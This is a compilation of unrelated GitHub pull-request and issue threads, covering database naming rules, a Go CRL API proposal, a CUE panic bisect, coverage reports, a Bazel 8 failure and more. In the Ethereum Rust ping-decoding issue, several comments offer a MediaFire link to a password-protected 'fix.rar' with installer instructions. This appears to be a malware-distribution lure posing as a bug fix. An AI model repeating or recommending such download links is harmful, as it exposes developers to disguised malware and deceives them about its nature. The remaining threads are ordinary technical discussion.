update timesync tables

change timesync related table names using CEO naming convention.
remove obsolete table and functions.

this upate only affect database structure. No functional implementation for timesync is included in this pull request.

Can you update your tables to match as well?
Rules are

primary key is named after table table comments -> comment_uid (singular)
foreign key match the primary key but use _rid
for function inputs start with _ so its easy to tell in the function what is an input value
for function inputs that = a table column have them match (except the _) where comment_uid = _comment_uid
for function return values use only _id

I will put this edits using the rules you specified. However, I do not
understand rule 5: for function return values use only _id
On Fri, Aug 2, 2019 at 3:41 PM Matthew Spencer<EMAIL_ADDRESS>wrote:

Can you update your tables to match as well?
Rules are

primary key is named after table table comments -> comment_uid
(singular)
foreign key match the primary key but use _rid
for function inputs start with _ so its easy to tell in the
function what is an input value
for function inputs that = a table column have them match (except
the _) where comment_uid = _comment_uid
for function return values use only _id

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/openforis/collect-earth-online/pull/347?email_source=notifications&email_token=AA66XMXJZ5KAGVTW2FPRVWLQCSZYRA5CNFSM4IIMCRO2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD3O7UUQ#issuecomment-517864018,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AA66XMTDZFNSYBAZO4GN763QCSZYRANCNFSM4IIMCROQ
.

user_plots->packet_rid
--- Since we are not planning on rebuilding our DB, this needs to be done as an alter statement after the packets table is created.

Modification made following suggestions from requested changes.


Mesos commons - add readable protobuf code

added a new project (which is intended to grow up and out on its own)
new project mesos-common has utilities which are commons mesos utilities and have 0 hdfs code
added significant code around protobuf.   There is more to add for generic capabilities, however it includes most of what we need for HDFS and tests.

@gabrielhartmann looking for review.  I did some code clean up and added docs since we reviewed last night.

Squash commits.  Minor comments.  LGTM.

squash updated and tested on DCOS testing


using solady safeTransferLib

As addressed in audit report, enabling any token with same code base will be easier for us to maintain the project.
thus using safeTransfer, using modified version of solady's SafeTransferLib
*modified because Entrypoint reverts on short errors

indeed it is a strange behaviour... hardhat reverts on returndatacopy if there is no return data, but geth silently returns..


Add Wikipedia scraping example

Add example of end-to-end pipeline to scrape information about NREL's current director from Wikipedia articles.
@grantbuster Tracking a few things we have to resolve:

[ ] Should we reduce the example to just a single .py or a .ipynb file?
[ ] Should we add an end-to-end pipeline execution as an integration test?

Add example of end-to-end pipeline to scrape information about NREL's current director from Wikipedia articles.
@grantbuster Tracking a few things we have to resolve:

[ ]  Should we reduce the example to just a single .py or a .ipynb file?
[ ]  Should we add an end-to-end pipeline execution as an integration test?

I am indifferent to .py or .ipynb but definintely think we should just stick to one example file haha
I am open to discussion on the integration test. Are we really talking about Azure API keys to github secrets and having real tests (not mocked)? I'm starting to lean this way as this repo gets more complicated and people keep modifying functionality for different applications.

The current .py and .ipynb do serve slightly different purposes: The .ipynb goes slower and explains the steps, while the .py consolidates the code into a few functions. The .ipynb file actually loads the .py file at the end to show the full example.
But, if we do scrap one, I'd prefer to ditch the .py file, since the notebook can serve as a guided tutorial.

I am open to discussion on the integration test. Are we really talking about Azure API keys to github secrets and having real tests (not mocked)? I'm starting to lean this way as this repo gets more complicated and people keep modifying functionality for different applications.

I think an integration test with real Azure API keys can get messy quickly - no one will want to debug it once something breaks outside of the ELM code (i.e. the key expires). But, if it's something that you want, I can implement it (either in this PR or a separate one).
I do agree that things can get complicated as people keep modifying the repo for their use-case. I'm not sure that adding the Azure keys would help with this problem though. I think this might be more of a question of the structure of the repo itself. Maybe we should have a discussion about exactly what problem you are trying to address?

I am open to discussion on the integration test. Are we really talking about Azure API keys to github secrets and having real tests (not mocked)? I'm starting to lean this way as this repo gets more complicated and people keep modifying functionality for different applications.

I think an integration test with real Azure API keys can get messy quickly - no one will want to debug it once something breaks outside of the ELM code (i.e. the key expires). But, if it's something that you want, I can implement it (either in this PR or a separate one).
I do agree that things can get complicated as people keep modifying the repo for their use-case. I'm not sure that adding the Azure keys would help with this problem though. I think this might be more of a question of the structure of the repo itself. Maybe we should have a discussion about exactly what problem you are trying to address?

UGH i'm sorry i'm so delayed on this. Let's have a quick call. Really i just want to make sure we know if things are runnable in a basic state... Maybe we could have tests that are meant to be run locally and are skipped if the respective env vars are not found? I'll reach out to chat more.

Codecov Report
Attention: Patch coverage is 18.07229% with 68 lines in your changes missing coverage. Please review.

Please upload report for BASE (main@e550adf). Learn more about missing BASE report.

Files with missing lines
Patch %
Lines

elm/web/google_search.py
26.19%
31 Missing :warning:

elm/ords/download.py
0.00%
24 Missing :warning:

elm/utilities/validation.py
22.22%
7 Missing :warning:

elm/ords/services/base.py
20.00%
4 Missing :warning:

elm/ords/process.py
0.00%
2 Missing :warning:

Additional details and impacted files
@@           Coverage Diff           @@
##             main      #34   +/-   ##
=======================================
  Coverage        ?   48.49%
=======================================
  Files           ?       52
  Lines           ?     3427
  Branches        ?      338
=======================================
  Hits            ?     1662
  Misses          ?     1712
  Partials        ?       53

Flag
Coverage Δ

unittests
48.49% <18.07%> (?)

Flags with carried forward coverage won't be shown. Click here to find out more.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Fix Ping packet decoding error ("InvalidLength" for field "ip" of field "from")

The client crashes on a Kurtosis simulation with the P2P capability of the client on.
Sometimes a packet interpreted as a Ping message is received that cannot be decoded.
Specifically, the field "from" which is of type Endpoint fails to be decoded because the field "ip" of the Endpoint has length 0 when it should be 4 or 6 depending on if the address is ipv4 or ipv6 respectively.
2024-08-26 17:55:13 [crates/core/rlp/decode.rs:228:9] ip_bytes.len() = 0
2024-08-26 17:55:13 thread 'tokio-runtime-worker' panicked at /ethereum_rust/crates/net/./net.rs:60:51:
2024-08-26 17:55:13 called `Result::unwrap()` on an `Err` value: Custom("Error decoding field 'from' of type ethereum_rust_net::discv4::Endpoint: Error decoding field 'ip' of type core::net::ip_addr::IpAddr: InvalidLength")

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Slack Notifications aren't working

Issue Type

[x] Bug
[ ] Enhancement

Description
Hi Folks,
I have enabled slack integration by adding slack token and channel name yet I am not receiving any slack notifications. I have celery and celery beat service running in the background. I have enabled all the events on personal and global scope. I have triggered the events multiple times by adding adding engagements, tests etc. However, I do see success message api.slack.com but I don't receive any notification message on slack, neither in the channel nor on personal chat.
Operating System
Ubuntu 16.04
Install

[x] setup.bash
[ ] docker

Steps to Reproduce

Configuration -> System Settings -> Check Enable Slack Notification
Create token from, for a bot from https://api.slack.com/tokens
Add Slack API Token and Channel Name and Slack username
Configuration -> Notifications -> Enable all events in Global and Personal Scope

Screenshots (optional)

Note: Slack token is of course has been regenerated after taking screenshot.
Console Logs (optional)
Starting new HTTPS connection (1): slack.com
https://slack.com:443 "POST /api/chat.postMessage HTTP/1.1" 200 55
Starting new HTTPS connection (1): slack.com
https://slack.com:443 "POST /api/chat.postMessage HTTP/1.1" 200 55
Starting new HTTPS connection (1): slack.com
https://slack.com:443 "POST /api/chat.postMessage HTTP/1.1" 200 55
[pid: 26004|app: 0|req: 4/50] <IP_ADDRESS> () {60 vars in 1322 bytes} [Fri Dec 29 20:56:51 2017] POST /product/1/new_engagement => generated 0 bytes in 1233 msecs (HTTP/1.1 302) 7 headers in 377 bytes (1 switches on core 0)
[pid: 26003|app: 0|req: 2/51] <IP_ADDRESS> () {54 vars in 1305 bytes} [Fri Dec 29 20:56:52 2017] GET /engagement/7/add_tests => generated 26191 bytes in 208 msecs (HTTP/1.1 200) 8 headers in 495 bytes (1 switches on core 0)

Please ignore this, I realised I was adding a token created for an app, instead for a bot user.

Hello ishangirdhar I managed to integrate with the bot key, but it does not reach the channel I would like, only a notification arrives in Slackbot, would you know how to help me?

@rafaelnepo92 still relevant to me. Private messages work fine but the messages do not reach a public channel


crypto/x509: add ParseRevocationList, deprecate ParseCRL & ParseDERCRL

The current implementation of CRLs in crypto/x509 and crypto/x509/pkix is somewhat confusing, easy to misuse, and does not match the design of the rest of the package. In particular it doesn't expose the necessary information to do safe issuer verification (see grpc/grpc-go#5130 for an example of how this can go wrong.)
We could try to provide the extra information required to do safe comparisons, but unfortunately due to the design of pkix.CertificateList, which is intended to be a direct ASN.1 analog, it is not possible to add new fields, since it will inherently change how encoding/asn1 encodes/decodes related data.
In go1.15 we introduced RevocationList, a type used as input to CreateRevocationList. I propose that we introduce ParseRevocationList, and convert RevocationList into a Go representation of a CRL, similar to how Certificate is used. This results in an API much more in line with the rest of the package, and would allow us more leeway to update the representative CRL structure without having to worry about its direct ASN.1 encoding.
For the sake of slowly moving away from reliance on encoding/asn1, the new ParseRevocationList function should employ a x/crypto/cryptobyte parser.
This would deprecate the pkix.CertificateList type (and associated types), the ParseCRL and ParseDERCRL functions, and the Certificate.CheckCRLSignature method (the latter being replaced with a method on RevocationList.)
// Added (crypto/x509)
func ParseRevocationList(der []byte) (*RevocationList, error)

func (rl *RevocationList) CheckSignatureFrom(issuer *Certificate) error

type RevocationList struct {
  ...
  // New fields
  RawIssuer      []byte
  Signature      []byte
  AuthorityKeyId []byte
  Extensions     []pkix.Extension
}

// Deprecated (crypto/x509)
func ParseCRL(crlBytes []byte) (*pkix.CertificateList, error)
func ParseDERCRL(derBytes []byte) (*pkix.CertificateList, error)
func (c *Certificate) CheckCRLSignature(crl *pkix.CertificateList) error

// Deprecated (crypto/x509/pkix)
type CertificateList ...
type TBSCertificateList ...

cc @golang/security

Does anyone object to the API in the top comment?

Based on the discussion above, this proposal seems like a likely accept.
— rsc for the proposal review group

No change in consensus, so accepted. 🎉
This issue now tracks the work of implementing the proposal.
— rsc for the proposal review group

CL 390834 added three additional fields beyond what was in this proposal:
Raw                  []byte
RawTBSRevocationList []byte
Issuer         pkix.Name

Noting here in case anyone objects to them, although I doubt it given the vigor of the earlier discussion.


Removed BaseSpatialOperations.geometry and geography.

BaseSpatialOperations.geography is renamed to a feature which seems more appropriate.

Thanks :+1:


[issue] bad handling of fluid in tree recipe crafting mode

issue
When using EMI tree recipe crafting mode with fluid and looking into a machine with the requested fluid, it is not detected and EMI says that I can't craft any batch of the item
In the below screenshot using Modern Industrialisation to illustrate the issue, the recipe asks for 1mb of lubricant and the machine currently holds 3909mb of lubricant

expected behavior
I expect that the liquid in the machine is detected and that EMI tells me I can use it to craft the recipe
version
Neoforge : 21.0.148
EMI : 1.1.10+1.21+neoforge
Modern Industrialization : 2.2.16-beta
additional information
I also opened an issue on Modern Industrialization's github, thinking their side had to allow EMI to read that slot and they told me the issue is EMI lacking an handling of fluid

MI is not exposing their input slots as part of their inventory, as is necessary for EMI to assume you have lubricant and assume this is craftable.

@emilyploszaj how am I supposed to expose fluid slots?

@emilyploszaj sorry to bother, but I'll allow myself to send you a ping so you know Technici4n is waiting for an answer

You need to override getInventory to expose your inputs inside the inventory. You can use a similar approach of collecting your slots and getting their contents and additionally add all fluid contents. @Technici4n

That does not actually work for #craft. EmiRecipeFiller#getStacks will try to find fluid ingredients in the input sources, and of course that will fail. Interestingly, #canCraft does however succeed. 😓
This is what I tried: https://github.com/AztechMC/Modern-Industrialization/commit/10a356a8b0e031e6ebd2ef1d6fb260a5d4c0030f.

Well, yeah, any complex (non-standard) recipe filling will require manual work, MI is going to need to handle moving items for crafts. I assumed you already had this since you handle + filling yourself.

Could EMI maybe move items only and ignore fluids? I'd prefer not to reimplement the whole thing myself 😅

It's very hard for EMI to know how to handle non-standard ingredients and what is desirable to a developer. I'll think about it but I really feel like non-standard use cases should be handled explicitly


publish-iis should not blindly overwrite arguments

For portable apps if there are any existing arguments we should try to preserve them.

Let's consider in 1.0.0.

Fixed in 152c11394ee4628a8ef5e9f423c54315a4870ef0


Update rules.official.json

Added [VALVE]nkiller and Cheemsburger gaming to the rules
with these added to the official rules should have the majority of current bots covered

At most, "cheemsburger gaming" should just mark those users as suspicious. Anyone might set their name to that, similar to how you still see legitimate players today with the name "engineer gaming".
Is it just a better idea to mark people with [VALVE] and [VAC] in their name? Is it at all possible to have those in your name without cheating?

At most, "cheemsburger gaming" should just mark those users as suspicious. Anyone might set their name to that, similar to how you still see legitimate players today with the name "engineer gaming".
Is it just a better idea to mark people with [VALVE] and [VAC] in their name? Is it at all possible to have those in your name without cheating?

And as for valve and vac, its easy to get that in your name with just [VAL%VE] or [VA%C] as the TF2 engine does not render %.

And as for valve and vac, its easy to get that in your name with just [VAL%VE] or [VA%C] as the TF2 engine does not render %.

It's only been like a week
But congratulations, the name has already changed

It's only been like a week
But congratulations, the name has already changed

meh can be closed I guess

meh can be closed I guess


Edit > Replace / Ctrl-H loses focus

Issue Type: Bug
When using the Edit > Replace, the dialog loses focus, causing unwanted changes to file content.
Start with a text file with the following content:
one, two, three, four, five
The goal is to replace the comma and space between each word with a line break. Therefore, you want to search for ", " and replace it with "\n".

Make sure the cursor is at the beginning of the line
Type Ctrl-H to open the Replace dialog
Enter (without the quotes) ", "
Hit the tab key to move from the "search" field to the "replace" field
Instead of focus moving to the next field as expected, focus returns to the file content, causing the first instance of ", " to be replaced with the value in the "replace" field

VS Code version: Code 1.33.1 (51b0b28134d51361cf996d2f0a1c698247aeabd8, 2019-04-11T08:27:14.102Z)
OS version: Windows_NT x64 10.0.17134

System Info

Item
Value

CPUs
Intel(R) Xeon(R) Silver 4110 CPU @ 2.10GHz (2 x 2095)

GPU Status
2d_canvas: enabledchecker_imaging: disabled_offflash_3d: enabledflash_stage3d: enabledflash_stage3d_baseline: enabledgpu_compositing: enabledmultiple_raster_threads: disabled_offnative_gpu_memory_buffers: disabled_softwarerasterization: unavailable_offsurface_synchronization: enabled_onvideo_decode: enabledwebgl: enabledwebgl2: enabled

Memory (System)
16.00GB (11.54GB free)

Process Argv

Screen Reader
no

VM
100%

Extensions (21)

Extension
Author (truncated)
Version

npm-intellisense
chr
1.3.0

vscode-markdownlint
Dav
0.26.0

vscode-eslint
dba
1.8.2

xml
Dot
2.4.0

vscode-npm-script
eg2
0.3.5

code-runner
for
0.9.9

macros
ged
1.2.1

gc-excelviewer
Gra
2.1.32

mssql
ms-
1.6.0

python
ms-
2019.4.12954

azure-account
ms-
0.8.2

csharp
ms-
1.19.0

powershell
ms-
1.12.1

team
ms-
1.149.2

vscode-docker
Pet
0.6.2

filetemplate
Ral
2.0.4

vscode-xml
red
0.5.1

vscode-autohotkey
sle
0.2.2

code-spell-checker
str
1.7.8

sort-lines
Tyr
1.8.0

vscode-icons
vsc
8.6.0

(1 theme extensions excluded)

This issue should be gone now.


ENH: Store info dates as datetime objects

In principle there is no reason we can't store info['meas_date'] and other date entries as datetime objects. @agramfort proposed this and it makes sense to me. On read we convert to datetime and on write we convert to what the FIF format wants to see.
I can work on it if people agree it's worthwhile.

Good idea!

what's the advantage of doing so?

info['meas_date'] is easily interpretable by users, we hide the complications of the FIF format from them (they don't need to know the details)

good idea!
should be done also for birthday?

If it falls under the "and other date entries" in the issue description I would say so. Basically anything we currently represent using tuple-of-int-as-date we should convert.

this is now done too.


Added docJarUseArgsFile target and default to true on Windows

Fix #1814

Tested successfully on Windows 10 with Temurin 17.0.2+8
Test-case was a project large enough to trigger #1814

@lefou I just ran into the same java.io.IOException: CreateProcess error=206, The filename or extension is too long when trying to run mill test.repl.
I was wondering if the functionality introduced here should maybe moved to Jvm#callSubprocess, so that it applies to all spawned JVM processes?

@nightscape If you use Jvm#runSubprocess, you will find the useCpPassingJar, which will help to cut the length of the otherwise long -classpath argument.
Whether a tool supports reading it's arguments as a file and whether this file is denoted with a @-prefix (like in javadoc tool and like some cli parsers support, e.g. CmdOption), is typically specific and not easy to detect. I don't think it's easy to generically support that case.


fix: update macos_service environment flag value

What does this PR do?
Update macos_service value for the flag --environment.
Passing --environment macos_service will always fail because the equality check is comparing against macOS_service. Using the new name does not help because the value is lowercased before the comparison.
Why is it important?
This is breaking an APM Server flag.
Checklist

[ ] My code follows the style guidelines of this project
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] I have added an entry in CHANGELOG.md

Author's Checklist

[ ]

Related issues

Related to https://github.com/elastic/apm-server/pull/10250

:green_heart: Build Succeeded

the below badges are clickable and redirect to their specific view in the CI or DOCS

Expand to view the summary

Build stats

Start Time: 2023-02-14T04:16:12.266+0000

Duration: 10 min 49 sec

Test stats :test_tube:

Test
Results

Failed
0

Passed
751

Skipped
5

Total
756

:robot: GitHub comments
Expand to view the GitHub comments

To re-run your PR in the CI, just comment with:

/test : Re-trigger the build.

I added the apm-server team to this repository with maintainer permissions, you should be able to merge and create tags. Let me know if something prevents you from doing that.

@cmacknz Thank you for the help! :bow:

Are you okay with releasing v0.3.1 ?


tty: Support unbuffered operation to extend usecase coverage

The whole "tty" concept is conceived around efficient
interrupt-driven operation. However, it's beneficial to add
non interupt-driven operation under the same API:

Wider usecase coverage in general.
Allows to use the same familiar API (based on POSIX concepts)
even for UART implementations without interrupt support.
Allows to switch operation dynamically based on the needs.
For example, if the system is in degraded mode and interrupt
handling cannot be trusted/disabled, allows to still output
diagnostic information to user. This was the original motivation
to provide such a mode, to support logging subsystem's "panic"
mode.

To implement this feature, tty_set_rx_buf() and tty_set_tx_buf()
functions are provided, allowing to reconfigure buffers used
dynamically. If configured buffer length is 0, the operation
switched to unbuffered.
Signed-off-by: Paul Sokolovsky<EMAIL_ADDRESS>

void tty_init(struct tty_serial *tty, struct device *uart_dev);

Now done.
Also quickly tested on qemu_x86 that console/echo didn't regress, but needs more thorough testing of course.

Codecov Report

Merging #11865 into master will decrease coverage by 0.13%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master   #11865      +/-   ##
==========================================
- Coverage   51.43%    51.3%   -0.14%
==========================================
  Files         231      231
  Lines       28751    28752       +1
  Branches     7152     7156       +4
==========================================
- Hits        14789    14751      -38
- Misses      11144    11188      +44
+ Partials     2818     2813       -5

Impacted Files
Coverage Δ

subsys/shell/shell_dummy.c
37.14% <0%> (-8.58%)
:arrow_down:

subsys/shell/shell.c
31.36% <0%> (-3.76%)
:arrow_down:

subsys/net/ip/udp.c
64.58% <0%> (-2.09%)
:arrow_down:

subsys/net/ip/ipv4.c
62.19% <0%> (-1.91%)
:arrow_down:

subsys/net/ip/connection.c
74.6% <0%> (-0.66%)
:arrow_down:

subsys/net/ip/tcp.c
56.98% <0%> (-0.4%)
:arrow_down:

subsys/net/ip/icmpv6.c
30.48% <0%> (-0.35%)
:arrow_down:

kernel/mutex.c
97.05% <0%> (ø)
:arrow_up:

subsys/net/ip/utils.c
79.37% <0%> (+1.41%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 459ad67...cc10ec6. Read the comment docs.

Ok, made a couple of tweaks and tested on real hardware. Should be ready to merge now.
Specifically, tested that with
CONFIG_CONSOLE_GETCHAR_BUFSIZE=0
CONFIG_CONSOLE_PUTCHAR_BUFSIZE=0

(i.e. disabling buffering and interrupt-driven operation)
Any clipboard paste into the UART connection beyond a handlful of chars leads to char drops - which was the original reason I embarked to write these console routines in the first place 2.5 years ago.
@nordic-krch, @jarz-nordic, @mike-scott, et al: Please review.

@jarz-nordic: Thanks for review!
@nordic-krch, @carlescufi : Ping.

@pfalcon sorry for the delay. I forgot to press 'finish review' long time ago and it was pending in the browser.

@nordic-krch

sorry for the delay. I forgot to press 'finish review' long time ago and it was pending in the browser.

np. I also missed some comments, as some of them now apply to the changed code. I believe I responded to all now, let me know if you suggest some changes.


Update strings.xml

Added display_number and no_browser_warning strings
Removed lines which were not present in the English file

Thanks, looks great!


PPC 2.0: Implement new panels in checklist

Context
PPC 2.0
Designs (components)
Designs (final delivery)
Summary

Add the tablist panels to the checklist
Add the empty state to the checklist
Add karma tests to wrap it up in a bow

Relevant Technical Choices

some checks weren't hooked into the useRegisterCount hook, so added those here.

To-do
n/a
User-facing changes

With Issues
Empty State

Testing Instructions

Enable ppc 2.0 experiment
Create new story
look at the prettiness! Also, tests should pass

QA

[x] This is a non-user-facing change and requires no QA

Reviews
Does this PR have a security-related impact?
no
Does this PR change what data or activity we track or use?
no
Does this PR have a legal-related impact?
no
Checklist

[ ] This PR addresses an existing issue and I have linked this PR to it in ZenHub
[ ] I have tested this code to the best of my abilities
[ ] I have verified accessibility to the best of my abilities (docs)
[ ] I have verified i18n and l10n (translation, right-to-left layout) to the best of my abilities
[ ] This PR contains automated tests (unit, integration, and/or e2e) to verify the code works as intended (docs)
[ ] I have added documentation where necessary
[ ] I have added a matching Type: XYZ label to the PR

Fixes #8084

Added the tests, just need to fix the focusing now. I think it has to do with the popup hiding the overflow of the content, so the box shadow gets eaten up

@googlebot I consent.


Add from to body of getBlockByHash

ref CITA #229

@kaikai1024 Should I test it and how to do.

Codecov Report

Merging #214 into develop will increase coverage by <.01%.
The diff coverage is 100%.

@@             Coverage Diff             @@
##           develop     #214      +/-   ##
===========================================
+ Coverage    49.28%   49.28%   +<.01%
===========================================
  Files          115      115
  Lines        17244    17246       +2
===========================================
+ Hits          8499     8500       +1
- Misses        8745     8746       +1

Impacted Files
Coverage Δ

jsonrpc-types/src/rpctypes/transaction.rs
0% <ø> (ø)
:arrow_up:

jsonrpc-proto/src/transaction.rs
85.36% <100%> (-0.89%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2246ccf...9343755. Read the comment docs.

@kaikai1024 Should I test it and how to do.

You need to replace the branch in the Cargo.toml of CITA.
I'm not sure, @yangby-cryptape


fix: enable delegation dashboard for offchain ERC-20 delegation

Summary

Closes: https://github.com/snapshot-labs/workflow/issues/177
This PR will enable the delegation dashboard for offchain spaces using Compound Governor (ERC-20) delegation
How to test

Go to an offchain which has setup Compound Governor delegation
It should show the delegation dashboard

To-Do

[ ] Still searching for a space with right setup to test

Possible blockers

Delegate action not working, failing to build transaction
No compatible delegate API: v2 expecting user, v1 api uses id

@less, do you have an v1 space which has setup compound governor delegation properly, and is working ? All the spaces I found have wrong setup

@bonustrack PR ready for real-world test, but did not find a single valid space on v1 using compound-governor.
I tested with the uniswap graph on my space (read), but I don't have any contract address to test the delegation action (write)

@bonustrack to confirm if this PR will close linked issue, looking at those comments regarding changing format on v1 as well:

Ideally we should change snapshot.org settings format to be the same as in SX, so we could reuse the same UI for settings later. On snapshot.org we could do some change in the settings page so delegations details are stored as an array similar than SX. We don't need to support multiple delegation within space settings, we can just store the delegation as the first item in the array.

If we still want to change format on v1 we might want to keep that issue open so we don't lose it.

The pitch contains a lot of tasks, which should have their own pitch IMO, else this whole thing will stay open, and it will be hard to track progress
For now, I see 3 main distinct tasks:

Add support for delegation portal read (this PR, with a "translation" system in offchain/api to convert v1 format to sx)
Add support for delegation portal write (probably will be in the offchain space settings edition PR, will use a "translation" to convert sx to v1 format)
Convert the delegation portal format in v1 to sx (will require db manual update, change on the hub to return new format, change on sequencer and v1 SDK to accept new format, and getting rid of the "translation" system in sx)

This should use this API format https://github.com/snapshot-labs/delegates-subgraph which support multiple token within a single subgraph. We should use the token address to filter delegate and make it possible to delegate voting power from the modal.


Fails with Bazel 8

Hi :wave:
Since Bazel 8 has been released, running bazelisk inside of this action will happily try to use it but fails:
ERROR: Skipping '//tools:check_jobs': error loading package 'tools': Unable to find package for @@[unknown repo 'cgrindel_bazel_starlib' requested from @@]//bzlformat:defs.bzl: The repository '@@[unknown repo 'cgrindel_bazel_starlib' requested from @@]' could not be resolved: No repository visible as '@cgrindel_bazel_starlib' from main repository. Was the repository introduced in WORKSPACE? The WORKSPACE file is disabled by default in Bazel 8 (late 2024) and will be removed in Bazel 9 (late 2025), please migrate to Bzlmod. See https://bazel.build/external/migration.
ERROR: error loading package 'tools': Unable to find package for @@[unknown repo 'cgrindel_bazel_starlib' requested from @@]//bzlformat:defs.bzl: The repository '@@[unknown repo 'cgrindel_bazel_starlib' requested from @@]' could not be resolved: No repository visible as '@cgrindel_bazel_starlib' from main repository. Was the repository introduced in WORKSPACE? The WORKSPACE file is disabled by default in Bazel 8 (late 2024) and will be removed in Bazel 9 (late 2025), please migrate to Bzlmod. See https://bazel.build/external/migration.

See https://github.com/tweag/rules_sh/actions/runs/12251332036/job/34175905182?pr=96

I can workaround using:
- uses: cgrindel/gha_join_jobs@794a2d117251f22607f1aab937d3fd3eaaf9a2f5 # v1
        env:
          USE_BAZEL_VERSION: '7.x'
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}

Thanks, @avdv . I am pushing a quick fix for now. I will upgrade the repo, this week.


internal/core/export: nil pointer dereference during eval since v0.6.0

What version of CUE are you using (cue version)?

$ cue version
cue version v0.6.1-0.20230919100910-692361740f70

go version devel go1.22-ace1494d92 Thu Sep 21 02:36:06 2023 +0000
      -buildmode exe
       -compiler gc
        -ldflags -w -s
  DefaultGODEBUG httplaxcontentlength=1,panicnil=1
     CGO_ENABLED 1
          GOARCH amd64
            GOOS linux
         GOAMD64 v3

Does this issue reproduce with the latest stable release?
Yes, with v0.6.0.
What did you do?
exec cue eval in.cue

-- in.cue --
F1: sub1: sub2: L
F2: {
	(string): _
	L
}
D: {}
let L = D

What did you expect to see?
A testscript PASS; it shouldn't panic, and it should produce some CUE syntax.
What did you see instead?
> exec cue eval in.cue
[stderr]
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
	panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x1b pc=0x6e43e9]

goroutine 1 [running]:
panic({0xc8f700?, 0x1405550?})
	/home/mvdan/tip/src/runtime/panic.go:774 +0x158 fp=0xc00035a200 sp=0xc00035a150 pc=0x43ad18
cuelang.org/go/cmd/cue/cmd.recoverError(0xc00035de88)
	/home/mvdan/go/pkg/mod/cuelang.org/go@v0.6.1-0.20230919100910-692361740f70/cmd/cue/cmd/root.go:318 +0x76 fp=0xc00035a220 sp=0xc00035a200 pc=0xbd87b6
cuelang.org/go/cmd/cue/cmd.(*Command).Run.deferwrap1()
	/home/mvdan/go/pkg/mod/cuelang.org/go@v0.6.1-0.20230919100910-692361740f70/cmd/cue/cmd/root.go:301 +0x25 fp=0xc00035a238 sp=0xc00035a220 pc=0xbd8705
panic({0xc8f700?, 0x1405550?})
	/home/mvdan/tip/src/runtime/panic.go:765 +0x132 fp=0xc00035a2e8 sp=0xc00035a238 pc=0x43acf2
runtime.panicmem(...)
	/home/mvdan/tip/src/runtime/panic.go:261
runtime.sigpanic()
	/home/mvdan/tip/src/runtime/signal_unix.go:866 +0x378 fp=0xc00035a348 sp=0xc00035a2e8 pc=0x451c18
cuelang.org/go/internal/core/export.(*exporter).resolve(0xc0000de420, 0xc0002029a0, {0xec87b0?, 0xc0002bc7a0?})
	/home/mvdan/go/pkg/mod/cuelang.org/go@v0.6.1-0.20230919100910-692361740f70/internal/core/export/adt.go:332 +0xb09 fp=0xc00035a510 sp=0xc00035a348 pc=0x6e43e9
cuelang.org/go/internal/core/export.(*exporter).adt(0xc0000de420, 0xc0002029a0, {0x7fa5f5dc8310?, 0xc0002bc7a0?})
	/home/mvdan/go/pkg/mod/cuelang.org/go@v0.6.1-0.20230919100910-692361740f70/internal/core/export/adt.go:137 +0xa35 fp=0xc00035a9c0 sp=0xc00035a510 pc=0x6e1bf5
cuelang.org/go/internal/core/export.(*exporter).expr(0xc0000de420?, 0xc0001d5710?, {0x7fa5f5dc8310?, 0xc0002bc7a0?})
	/home/mvdan/go/pkg/mod/cuelang.org/go@v0.6.1-0.20230919100910-692361740f70/internal/core/export/expr.go:99 +0x2df fp=0xc00035ac18 sp=0xc00035a9c0 pc=0x6eba7f
cuelang.org/go/internal/core/export.(*exporter).resolveLet(0xc0000de420, 0x0?, 0xc000398080)
	/home/mvdan/go/pkg/mod/cuelang.org/go@v0.6.1-0.20230919100910-692361740f70/internal/core/export/export.go:580 +0xf2 fp=0xc00035ac78 sp=0xc00035ac18 pc=0x6ea7d2
[...]

This panic does not happen with v0.5.0; I have not bisected yet.

Out of curiosity, I performed the bisect between commits d573e0c2f041 tag: v0.5.0-beta.3 and 99e8578ac45e tag: v0.6.0. Here is the result:
cue % git bisect start                                                           [topic-2 L|✔]
status: waiting for both good and bad commits
cue % git bisect good d573e0c2f041                          [topic-2|BISECT 0; -inf steps L|✔]
status: waiting for bad commit, 1 good commit known
cue % git bisect bad 99e8578ac45e                           [topic-2|BISECT 0; -inf steps L|✔]
Bisecting: 141 revisions left to test after this (roughly 7 steps)
[0c840f6652709b9d142f2023fac744773b375bd9] internal/core/adt: change addList signature
cue % git bisect good                                       [:0c840f6|BISECT 283; 8 steps L|✔]
Bisecting: 70 revisions left to test after this (roughly 6 steps)
[e46324ef052b90aaf605aebea608fa147b2bf8dd] spec: various fixes
cue % git bisect bad                                        [:e46324e|BISECT 141; 7 steps L|✔]
Bisecting: 35 revisions left to test after this (roughly 5 steps)
[bad36b2d8a19dd566a27e304407038abbe617968] all: move pkg/gen and internal/cmd/qgo to build-ignored files
cue % git bisect bad                                                         [:bad36b2|BISECT 70; 6 steps L|✔]
Bisecting: 17 revisions left to test after this (roughly 4 steps)
[e7d7c6a7aa9ba8e2024a874431558c8e5ec4e8d5] cue: fail on required field in various cases
cue % git bisect good                                                        [:e7d7c6a|BISECT 34; 5 steps L|✔]
Bisecting: 8 revisions left to test after this (roughly 3 steps)
[1932295afe5dc1753a99bf8cf616c2afc12eb653] cue/build: remove context.Context field
cue % git bisect bad                                                         [:1932295|BISECT 17; 4 steps L|✔]
